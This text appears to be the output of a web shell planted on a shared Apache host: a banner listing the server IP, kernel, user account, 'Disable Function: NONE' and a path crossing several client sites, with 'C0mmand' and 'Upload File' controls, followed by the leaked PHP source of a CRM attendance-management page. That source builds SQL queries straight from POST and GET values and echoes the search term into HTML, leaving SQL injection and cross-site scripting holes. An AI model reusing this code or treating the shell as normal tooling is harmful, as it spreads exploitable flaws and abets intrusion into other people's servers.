Server IP : 103.53.40.154 / Your IP : 3.144.47.115 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/agratourbus.com/../thedigitaldubai.com/../shsindia.com/crm/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php include_once('include/config.php'); if (!isLoggedIn()) { $_SESSION['msg'] = "You must log in first"; header('location: login.php'); } if (!isAdmin()) { $_SESSION['msg'] = "You are not Admin"; header('location: login.php'); } if ($_SERVER["REQUEST_METHOD"] === "POST") { if (isset($_POST['absent'])) { // Handle the active logic here $checkedIDs = $_POST['checkedIDs']; foreach ($checkedIDs as $pageID) { $sql = "UPDATE `tbl_attendance` SET status='A' WHERE atndc_id='$pageID'"; $result = mysqli_query($db, $sql) or die("Query unsuccessful"); mysqli_query($db, "INSERT INTO `notification`(`emp_id`, `cus_id`, `info`, `action`, `action_by`, `user_type`, `date`) VALUES ('".$_POST['empid']."','','Absent Attendance','Attendance','".$_SESSION['user']['id']."','".$_SESSION['user']['user_type']."','$currentDate')"); } if ($result) { echo "<script> window.alert('Absent successfully.'); window.location.href = 'attendance.php'; </script>"; } } if (isset($_POST['present'])) { // Handle the inactive logic here $checkedIDs = $_POST['checkedIDs']; foreach ($checkedIDs as $pageID) { $sql = "UPDATE `tbl_attendance` SET status='P' WHERE atndc_id='$pageID'"; $result = mysqli_query($db, $sql) or die("Query unsuccessful"); mysqli_query($db, "INSERT INTO `notification`(`emp_id`, `cus_id`, `info`, `action`, `action_by`, `user_type`, `date`) VALUES ('".$_POST['empid']."','','Present Attendance','Attendance','".$_SESSION['user']['id']."','".$_SESSION['user']['user_type']."','$currentDate')"); } if ($result) { echo "<script> window.alert('Present successfully.'); window.location.href = 'attendance.php'; </script>"; } } if (isset($_POST['half'])) { // Handle the inactive logic here $checkedIDs = $_POST['checkedIDs']; foreach ($checkedIDs as $pageID) { $sql = "UPDATE `tbl_attendance` SET status='H' WHERE atndc_id='$pageID'"; $result = mysqli_query($db, $sql) or die("Query unsuccessful"); mysqli_query($db, "INSERT INTO `notification`(`emp_id`, `cus_id`, `info`, `action`, `action_by`, `user_type`, `date`) VALUES ('".$_POST['empid']."','','Half Day Attendance','Attendance','".$_SESSION['user']['id']."','".$_SESSION['user']['user_type']."','$currentDate')"); } if ($result) { echo "<script> window.alert('Half Day successfully.'); window.location.href = 'attendance.php'; </script>"; } } if (isset($_POST['short-leave'])) { // Handle the inactive logic here $checkedIDs = $_POST['checkedIDs']; foreach ($checkedIDs as $pageID) { $sql = "UPDATE `tbl_attendance` SET status='SL' WHERE atndc_id='$pageID'"; $result = mysqli_query($db, $sql) or die("Query unsuccessful"); mysqli_query($db, "INSERT INTO `notification`(`emp_id`, `cus_id`, `info`, `action`, `action_by`, `user_type`, `date`) VALUES ('".$_POST['empid']."','','Short Leave Attendance','Attendance','".$_SESSION['user']['id']."','".$_SESSION['user']['user_type']."','$currentDate')"); } if ($result) { echo "<script> window.alert('Short Leave successfully.'); window.location.href = 'attendance.php'; </script>"; } } if (isset($_POST['reject'])) { // Handle the inactive logic here $checkedIDs = $_POST['checkedIDs']; foreach ($checkedIDs as $pageID) { $sql = "UPDATE `tbl_attendance` SET status='R' WHERE atndc_id='$pageID'"; $result = mysqli_query($db, $sql) or die("Query unsuccessful"); mysqli_query($db, "INSERT INTO `notification`(`emp_id`, `cus_id`, `info`, `action`, `action_by`, `user_type`, `date`) VALUES ('".$_POST['empid']."','','Reject Attendance','Attendance','".$_SESSION['user']['id']."','".$_SESSION['user']['user_type']."','$currentDate')"); } if ($result) { echo "<script> window.alert('Reject successfully.'); window.location.href = 'attendance.php'; </script>"; } } if (isset($_POST['delete'])) { // Handle the inactive logic here $checkedIDs = $_POST['checkedIDs']; foreach ($checkedIDs as $pageID) { $sql = "DELETE FROM `tbl_attendance` WHERE atndc_id='$pageID'"; $result = mysqli_query($db, $sql) or die("Query unsuccessful"); mysqli_query($db, "INSERT INTO `notification`(`emp_id`, `cus_id`, `info`, `action`, `action_by`, `user_type`, `date`) VALUES ('".$_POST['empid']."','','Delete Attendance','Attendance','".$_SESSION['user']['id']."','".$_SESSION['user']['user_type']."','$currentDate')"); } if($result){ echo "<script> window.alert('Deleted successfully.'); window.location.href = 'attendance.php'; </script>"; } } } ?> <!DOCTYPE html> <html lang="en"> <head> <?php include "top-links.php"?> </head> <body> <div class="wrapper"> <?php include "header.php"?> <?php include "sidebar.php"?> <div class="content-page"> <div class="content"> <!-- Start Content--> <div class="container-fluid"> <div class="row"> <div class="col-12"> <div class="card"> <div class="card-header"> <h4 class="header-title">Attendance</h4> <?php // if ($_SESSION['user']['user_type'] == 'supadmin' || // $_SESSION['user']['user_type'] == 'admin') { // echo '<button onclick="window.location.href=\'salary-management.php\'" class="float-left"> + Add Salary Management</button>'; // } ?> </div> <div class="card-body"> <div class="row"> <div class="col-6"> <div class="form-group" style="width:100px;"> <label for="entriesPerPage">Show entries:</label> <select class="form-control" id="entriesPerPage" onchange="changeEntriesPerPage(this.value)"> <option value="20" <?php if ($limit == 20) echo "selected"; ?>>20</option> <option value="50" <?php if ($limit == 50) echo "selected"; ?>>50</option> <option value="100" <?php if ($limit == 100) echo "selected"; ?>>100</option> <option value="500" <?php if ($limit == 500) echo "selected"; ?>>500</option> </select> </div> </div> <div class="col-6"> <!--<div class="form-group" style="width:100px;">--> <!-- <input type="text" id="searchInput" placeholder="Search Data">--> <!--</div>--> <div class="app-search d-lg-block"> <label for="entriesPerPage">Search Data:</label> <div class="input-group"> <input type="text" class="form-control" id="searchInput" placeholder="<?php if(isset($_GET['search'])){ echo $_GET['search']; }else{ echo'Search by Date...';} ?>" onkeydown="if(event.keyCode==13){ search(); }"> <!--<span class="ri-search-line search-icon text-muted"></span>--> </div> </div> </div> </div><hr> <table id="basic-datatable" class="table table-striped dt-responsive nowrap w-100"> <thead> <tr> <th>Sr No</th> <th class="">Emp. Img</th> <th>Emp. Name</th> <th>Location</th> <th>Supervisor</th> <th class="">Status</th> <th class="">Date</th> <th class="">Time</th> <th class="text-center"><input type="checkbox" id="selectAll"/></th> <!--<th>Edit</th>--> </tr> </thead> <form method="POST" action="<?php echo $_PHP_SELF ?>" onsubmit="return validateForm()"> <tbody> <?php $limit = isset($_GET['entries']) ? $_GET['entries'] : 20; $page = isset($_GET['page']) ? $_GET['page'] : 1; $start = ($page - 1) * $limit; $searchTerm = isset($_GET['search']) ? $_GET['search'] : ''; $s = mysqli_fetch_assoc(mysqli_query($db, "select * from tbl_employee where emp_name='".$searchTerm."' ")); // $sid = $s['emp_id']; $svisor_id = $_SESSION['user']['id']; $sql = "SELECT * FROM `tbl_attendance` INNER JOIN tbl_employee ON tbl_attendance.atndc_by_id=tbl_employee.emp_id INNER JOIN login_tbl ON tbl_employee.emp_supervisor_id=login_tbl.id WHERE 1 "; if ($_SESSION['user']['user_type'] == 'Supervisor') { $sql .= " AND `emp_supervisor_id`='$svisor_id'"; } elseif ($_SESSION['user']['user_type'] == 'Manager') { $sql .= " AND `manager_id`='$svisor_id'"; } if (!empty($searchTerm)) { $sql .= " AND `atndc_datetime` LIKE '%$searchTerm%' OR `atndc_by_id`='$sid'"; } $sql .= " ORDER BY atndc_id DESC LIMIT $start, $limit"; $run = mysqli_query($db, $sql) or die("Query Not run"); $count = $start; while ($data = mysqli_fetch_assoc($run)) { $count++; ?> <?php $status = $data['status']; $class = ''; switch ($status) { case 'P': $class = 'btn-success'; break; case 'A': $class = 'btn-danger'; break; case 'H': $class = 'btn-info'; break; case 'R': $class = 'btn-pink'; break; case 'SL': $class = 'btn-secondary'; break; default: $class = 'btn-dark'; break; } ?> <tr> <td><?php echo $count; ?></td> <td> <a target="_blank" href="./images/employee/attendance/<?php echo $data['atndc_image']; ?>"><i class="ri-eye-fill" style="font-size: medium; color: #1a2942;" title="View"></i> </a> </td> <td> <?php $s = mysqli_fetch_assoc(mysqli_query($db, "select * from tbl_employee where emp_id='".$data["atndc_by_id"]."' ")); echo $s['emp_name'].' - '.$s['emp_father'].'<br>'; ?> <?php $company_id=$s["emp_company_id"]; $d = mysqli_fetch_assoc(mysqli_query($db, "select * from tbl_customer where cus_id='$company_id' ")); ?> <?php echo $d['cp_name']; ?> - <?php echo $d['cust_address']; ?> - <?php echo $d['cust_state']; ?> </td> <td> <a target="_blank" href="<?php echo $data['atndc_location']; ?>"><i class="ri-map-pin-fill" style="font-size: large; color: #1a2942;" title="View"></i> </a> </td> <td><?php echo $data['name']; ?></td> <td> <button class="btn <?php echo $class; ?> pull-right mr5"><?php echo $status; ?></button> </td> <td><?php echo date('Y-m-d', strtotime($data['atndc_datetime'])); ?></td> <td><?php echo date('H:i:s', strtotime($data['atndc_datetime'])); ?></td> <td class="text-center"> <input type="checkbox" name="checkedIDs[]" class="selectItem" value="<?php echo $data["atndc_id"]?>" /> <input type="hidden" name="empid" value="<?php echo $data["atndc_by_id"]?>"> </td> <!--<td><a href="#"><i class="ri-edit-fill" style="font-size: medium; color: green;"></i> </a></td>--> </tr> <?php } ?> </tbody> <tfoot> <tr style="text-align: right;"> <td colspan="10" class="text-right"> <button type="submit" name="absent" class="btn btn-dark pull-right mr5" >Absent</button> <button type="submit" name="present" class="btn btn-success pull-right mr5" >Present</button> <button type="submit" name="half" class="btn btn-info pull-right mr5" >Half Day</button> <button type="submit" name="short-leave" class="btn btn btn-secondary pull-right mr5" >Short Leave</button> <button type="submit" name="reject" class="btn btn btn-pink pull-right mr5" >Reject</button> <button type="submit" name="delete" class="btn btn-danger pull-right mr5" >Delete</button> </td> </tr> <tfoot> </form> </table> <?php // Set the limit and page number $limit = isset($_GET['entries']) ? (int)$_GET['entries'] : 20; $page = isset($_GET['page']) ? (int)$_GET['page'] : 1; $start = ($page - 1) * $limit; // Search term $searchTerm = isset($_GET['search']) ? $_GET['search'] : ''; // Count total records $sqlCount = "SELECT COUNT(*) AS total FROM `tbl_attendance`"; if (!empty($searchTerm)) { $sqlCount .= " WHERE `atndc_datetime` LIKE '%$searchTerm%'"; } $result = mysqli_query($db, $sqlCount); $row = mysqli_fetch_assoc($result); $total_records = $row['total']; // Calculate total pages $total_pages = ceil($total_records / $limit); $range = 10; if ($total_pages > 1) { // Only show pagination if there's more than one page echo "<ul class='pagination' style='text-align: right;'>"; // First and Previous links if ($page > 1) { echo "<li class='page-item'><a class='page-link' href='?page=1&entries=$limit&search=$searchTerm'>First</a></li>"; echo "<li class='page-item'><a class='page-link' href='?page=" . ($page - 1) . "&entries=$limit&search=$searchTerm'>«</a></li>"; } // Page number links for ($i = max(1, $page - $range); $i <= min($page + $range, $total_pages); $i++) { $activeClass = ($page == $i) ? "active" : ""; echo "<li class='page-item $activeClass'><a class='page-link' href='?page=$i&entries=$limit&search=$searchTerm'>$i</a></li>"; } // Next and Last links if ($page < $total_pages) { echo "<li class='page-item'><a class='page-link' href='?page=" . ($page + 1) . "&entries=$limit&search=$searchTerm'>»</a></li>"; echo "<li class='page-item'><a class='page-link' href='?page=$total_pages&entries=$limit&search=$searchTerm'>Last</a></li>"; } echo "</ul>"; } ?> </div> <!-- end card body--> </div> <!-- end card --> </div><!-- end col--> </div> </div> </div> </div> </div> <script> function togglePasswordVisibility() { var passwordField = document.getElementById('password'); var passwordToggle = document.getElementById('password-toggle'); if (passwordField.type === 'password') { passwordField.type = 'text'; passwordToggle.className = 'fa fa-eye-slash'; } else { passwordField.type = 'password'; passwordToggle.className = 'fa fa-eye'; } } </script> <?php include "footer.php"?> </body> </html>